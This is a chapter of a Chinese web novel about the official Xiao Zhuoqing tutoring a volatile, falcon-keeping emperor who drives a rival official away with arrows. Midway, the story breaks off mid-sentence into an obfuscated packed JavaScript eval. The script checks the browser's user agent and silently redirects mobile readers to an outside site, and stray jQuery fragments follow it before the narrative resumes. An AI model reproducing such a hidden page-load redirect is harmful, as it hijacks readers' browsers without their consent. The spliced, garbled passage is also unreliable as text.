9.第 9 章

作品:《谁要做炮灰反派啊!

    “萧大人恕罪。曲台的宫人没规矩惯了,素日怠慢,让您见笑。”


    凤元羲身边的老太监罗合裕一瘸一拐地端着茶盏,笑眯眯地为萧酌清奉上,又配了三五样果子小食,体贴地将萧酌清的书案摆满了。


    “他们刚才躲在那里干什么?”萧酌清双手接茶,忍不住问。


    “东君好动,陛下每日都要带它出来飞一飞。”罗合裕笑得温和。“不过它素日只认陛下,性子又烈,常常伤人,所以大家都只好避远些。”


    他轻描淡写,仿佛东君只是一只有些顽皮任性的大鸟。


    可刚才,萧酌清却听见宫人议论,说东君前月曾掏出某内侍的一颗眼珠,站在树梢上当核桃嗑着吃了。


    这一点倒是有迹可循,毕竟方才东君向他飞来时,也是冲着他的眼睛来的。


    萧酌清向罗合裕道了谢。


    方才凤元羲那一箭射穿了宫人们的避难所,倒教曲台终于有了人的气息。宫人们躲无可躲,只好各司其职,往来侍立,虽看上去仍有些瑟缩,但胜在井井有条。


    只是君王仍旧不读书而已。


    他坐在御案前,萧酌清授课,他就我行我素地做他的事。


    待萧酌清三篇文章讲完,他的箭簇擦净了,新弓也磨亮了。东君站在巨大的金架上,尖喙如弯刀,埋头在吃半头血淋淋的山羊。


    萧酌清从自己的位置上站起来。


    “陛下,午时初刻已到,微臣告退。”


    他收拾起手上的书册,整理入书箱,并没指望凤元羲有什么回应。


    凤元羲却在此时抬起了眼。


    “你明天还来?”他问。


    萧酌清没料到他会这么问,愣了愣,便如实回答:“是。”


    御座的方位让人看不清君王的神情,萧酌清只看见他扭过头,看向扼着猎物的那只威风凛凛的金雕。


    死不瞑目的山羊睁着横瞳的双眼,在金雕的啄食下一晃一晃,殷红的血沿着陛阶滴淌下来。


    “你不懂怎么求人?”他问。


    “……什么?”萧酌清没听懂。


    旁边的老太监体贴解释:“月前也有几位大人被安排来伺候陛下读书,求了求廉王殿下,就换成别人了。”


    萧酌清微怔。


    老太监笑得温和又慈悲:“陛下不喜欢有人伺候,大人来曲台做事,也无益前程,还是去六部衙门更好一些。”


    苦口婆心,是在劝萧酌清迷途知返。


    这也是那位陛下的慈心?


    萧酌清抬头,正好看见凤元羲抽出腰间的匕首,两下割掉羊头,抬手丢给了殿外的狗。


    ……哦,应当不是。


    “公公,下官是自愿来曲台的。”没有打扰高台上的君王喂狗,萧酌清向罗合裕解释。


    却未见座上的君王微微偏了偏头。


    “萧大人的意思是……”


    萧酌清笑了笑。


    “明日仍旧是辰时初刻,臣会准时来此,请陛下早做准备。”他抬头,再次对御座上的君王说道。


    “今日所讲的《尚书》三则,请陛下抄录五遍并背诵。”


    布置课业,这是任何一位先生都会做的事。读书的基础无非背诵抄写,即便过目不忘如萧酌清,也绕不开这一茬。


    君王仍旧一言不发。


    萧酌清端正行礼,提着书箱转身离开。


    罗合裕欲言又止,正要追上去,台上的君王忽然发话了。


    “让他走。”


    罗合裕回头。


    萧酌清出去了,殿中又只剩下他们这些人。


    宫人们眼观鼻鼻观心,都将自己当做是殿内的一架座屏、一张桌椅,而高台上的君王,素来是这般寡言又乖张。


    山羊的骨架散落一地,东君扇着翅膀叫了几声,凤元羲却没理它。


    他抬眼看向萧酌清走远的方向。


    青色纻丝官服下的身影清癯挺拔,三尺袍袖在风里扬起,露出被银玉带束得劲瘦的一把窄腰。


    这样的官吏他见过无数个,有的是活的,有的是死的。


    但临华池边夜风骤起时,这个五品官垂落下来的发丝擦过了他的脸,风里扬起一丝松针的气息,是来自他严整的衣襟。


    凤元羲也是在那时第一次看清他的脸。


    他很着急,像在担忧一条毫无交集的性命,也像在渴求他平步青云的前程。


    他是廉王的人,凤元羲知道。


    可是一阵风都能吹断腰杆、拿一张弓都要暗自咬嘴唇给自己鼓劲的人,能替廉王做什么?


    片刻,凤元羲收回了目光。


    管他要干什么,生路给了他,是他自己不要的。


    ——


    萧酌清刚出曲台殿,就在阶下迎面遇见了时修杰。


    与他不同,时修杰进宫的阵仗很大,身后跟了五六个红衣银甲的金吾卫。


    有人替他捧书箱,有人替他抱琴,还有人替他焚香。而他走在最前面,昂首阔步,春风得意。


    金吾卫将军是廉王的手下,与他私交甚笃,今日入宫也给了他独一份的照顾,简直比回家还自在。


    看到轻装简行的萧酌清,时修杰轻蔑极了。


    管你是什么勋贵名士?先入廉王麾下的是我,即便入宫监视那个病皇帝,也是你做马前卒,给我开路。


    两人迎面遇见,时修杰很轻蔑地随意一拱手:“原来是你啊,萧大人。”


    “时大人。”萧酌清简单回礼,好奇地问。“这是在搬家?”


    时修杰脸色一变:“什么话!”


    又生气。不搬家,大动干戈地做什么?


    “这叫熏陶,你懂么?”时修杰昂起下巴,愈发倨傲。“我今天来,就是来给陛下焚香弹琴的。”


    萧酌清提醒他:“李阁老给你安排的课业,似乎是《昭明文选》。”


    时修杰大声叫嚣:“圣人说,礼乐不可斯须去身,致乐以治心,你不知道?皇上有疾,疾在圣心,我就是要用雅乐治一治陛下的病,怎么了,你有意见?”


    又急。


    萧酌清不欲与他论什么短长,干脆地侧身抬手:“好的,时大人请。”


    时修杰只当萧酌清是怕了他,趾高气扬地从他面前走过,经过他时,还冷哼一声:“还《昭明文选》。那是什么书?就陛下那副模样,能读正常人的书吗?”


    说着,他上下打量了萧酌清一圈,嗤笑了一声。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116615|195710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “萧大人,入了官场,就识相些,认清自己的身份。我的事,也是你能管的?”


    萧酌清不语,侧身让那浩浩荡荡的队伍在自己面前通过。


    拂雪冲着时修杰的背影小声地骂:“夯货。”


    “走了。”萧酌清笑了笑,只当没听见身侧长随的这句粗话。


    只是两人没走多远,身后的大殿中就传来了琴声。


    恰好,君子六艺当中,萧酌清最擅琴。


    不必凝神,只两个音,他就听出时修杰技艺之差,便是寻常文人集会上,也是贻笑大方的程度。


    “他一直都这么自信吗?”他不由得侧目问拂雪。


    这样的技艺,一般会羞于当众展示才对。


    不过,还没等拂雪回答他,身后曲台殿的响动就给了他答案。


    先是一声凌厉的破空声响,紧跟着,骚动声起。


    器物碎裂声混杂着惨叫和哭喊连成一片,兵荒马乱的脚步和叫喊里,间或几声骇人的犬吠。


    “是那个时修杰,是时修杰在哭!”拂雪在旁边兴奋地说。


    萧酌清也听出来了。


    殿门哗啦一声被撞开,几个宫人匆匆跑出来。


    “请廉王殿下,快去请廉王殿下!”


    “请什么殿下呀,又没出人命,快喊人进去收拾吧!”


    “太医呢?还不快叫太医来!”


    “多叫几个人,赶紧先把时大人拔出来呀!”


    几个宫人忙忙碌碌的,拂雪赶紧凑上去,不嫌事大地问:“小公公,里面这是怎么了,出事了?”


    “时大人叫陛下射了一剑,在里面哭呢!”被他拦住的内侍说。


    “射中了哪里?胳膊、腿?”拂雪双目发亮。


    “什么呀!陛下那一箭是冲着时大人的脸去的,要不是旁边的金吾卫大人眼疾手快,时大人今日就要没命了!”内侍说。


    “真的吗!”拂雪比自家过年还高兴。


    “幸好,只射中了大人的乌纱帽。”内侍安慰他。


    “……那他哭什么?”拂雪失望。


    “将你一剑钉在金柱上,你哭不哭?”内侍说。


    “啊?”


    “时大人被射飞出去两丈远呢!发髻钉进了柱子里,好几个金吾卫大人合力,现在还没把时大人拔出来!”


    说到这儿,内侍都忍不住摇头。


    “我不跟你说了,时大人痛得直哭,又被吓尿了裤子,我得赶紧喊人去!”


    说话间,殿门再一次被从里撞开。


    萧酌清回头,是披头散发的时修杰。


    他一头从殿中撞出来,身后仿佛有鬼在追,嘴里零星发出两声动物般的叫喊,手脚并用地往外逃。


    下一刻,破空的箭矢从他身后射来,擦着他的后背,钉在殿前那棵千年银杏上。


    时修杰随之发出一声惨叫,四肢并用,爬得更快了。


    但箭矢接二连三地射来,像在驱赶一只狗,将时修杰一路从殿前赶到阶下。


    他连爬带滚,一路高歌,便是再冷漠的宫人,都忍不住驻足围观。


    箭矢阵阵的风声里,萧酌清轻飘飘笑了一声。


    “好弓啊。”